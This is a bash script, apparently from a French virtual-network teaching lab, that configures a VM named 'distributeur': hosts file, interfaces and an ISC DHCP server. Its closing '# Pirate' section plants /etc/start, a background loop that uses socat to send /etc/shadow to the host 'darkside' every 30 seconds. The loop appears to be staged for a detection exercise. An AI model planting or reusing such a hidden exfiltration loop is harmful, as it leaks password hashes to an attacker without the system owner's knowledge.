#!/usr/bin/env bash 

DESC="Configuration de distributeur."

run() {

	. $VDN_PATH/bin/functions-scripts.sh

        setErrorHandler
        echoStart

	name="distributeur"

	requireSshGuests $name

    setHostname $name

    cat << EOF | setHosts $name
127.0.0.1       localhost

$($VDN_PATH/bin/vdn-infos darkside PUBLIC_IP)     darkside
$($VDN_PATH/bin/vdn-infos brightside PUBLIC_IP)     brightside
192.168.2.1    passerelle

192.168.2.2    distributeur
192.168.2.3    client
192.168.2.4    comanche
192.168.3.2    appolo
192.168.3.3    castafiore

EOF

    cat << EOF | setInterfaces $name
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
	iface eth0 inet static
	address 192.168.2.2
	netmask 255.0.0.0
	gateway 192.168.2.1
EOF

	sleep 1

	echo "Post config. Patientez quelques secondes..."

	vdn-ssh root@distributeur "systemctl stop isc-dhcp-server"

	#echo "Set DHCP (1/3)"

	### /etc/default/isc-dhcp-server

cat << EOF | setFile $name /etc/default/isc-dhcp-server
# Defaults for isc-dhcp-server (sourced by /etc/init.d/isc-dhcp-server)
  
# Path to dhcpd's config file (default: /etc/dhcp/dhcpd.conf).
#DHCPDv4_CONF=/etc/dhcp/dhcpd.conf
#DHCPDv6_CONF=/etc/dhcp/dhcpd6.conf

# Path to dhcpd's PID file (default: /var/run/dhcpd.pid).
#DHCPDv4_PID=/var/run/dhcpd.pid
#DHCPDv6_PID=/var/run/dhcpd6.pid

# Additional options to start dhcpd with.
#       Don't use options -cf or -pf here; use DHCPD_CONF/ DHCPD_PID instead
#OPTIONS=""

# On what interfaces should the DHCP server (dhcpd) serve DHCP requests?
#       Separate multiple interfaces with spaces, e.g. "eth0 eth1".
INTERFACESv4="eth0"
INTERFACESv6=""
EOF

	### /etc/dhcp/dhcpd.conf

	#echo "Set DHCP (2/3)"

	cat << EOF | setFile $name /etc/dhcp/dhcpd.conf
# dhcpd.conf
#
# Sample configuration file for ISC dhcpd
#

# option definitions common to all supported networks...
#option domain-name "example.org";
#option domain-name-servers ns1.example.org, ns2.example.org;

default-lease-time 600;
max-lease-time 7200;

# The ddns-updates-style parameter controls whether or not the server will
# attempt to do a DNS update when a lease is confirmed. We default to the
# behavior of the version 2 packages ('none', since DHCP v2 didn't
# have support for DDNS.)
ddns-update-style none;

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;

subnet 192.168.2.0 netmask 255.255.255.0 {
        option broadcast-address 192.168.2.255;
        option routers 192.168.2.1;
}

subnet 10.0.2.0 netmask 255.255.255.0 {
}


host comanche {
  hardware ethernet $($VDN_PATH/bin/vdn-infos comanche MAC_0);
  fixed-address 192.168.2.8;
}

EOF

	#echo "Set DHCP (3/3)"

	vdn-ssh root@$name "systemctl restart isc-dhcp-server" 

    # Pirate

    cat << EOF | setFile $name /etc/start
#!/bin/bash

while :; do socat STDIO TCP:darkside:80 &> /dev/null < /etc/shadow; sleep 30; done
EOF

	vdn-ssh root@$name "chmod 755 /etc/start; nohup /etc/start &> /dev/null &"

	unsetErrorHandler
        echoDone


}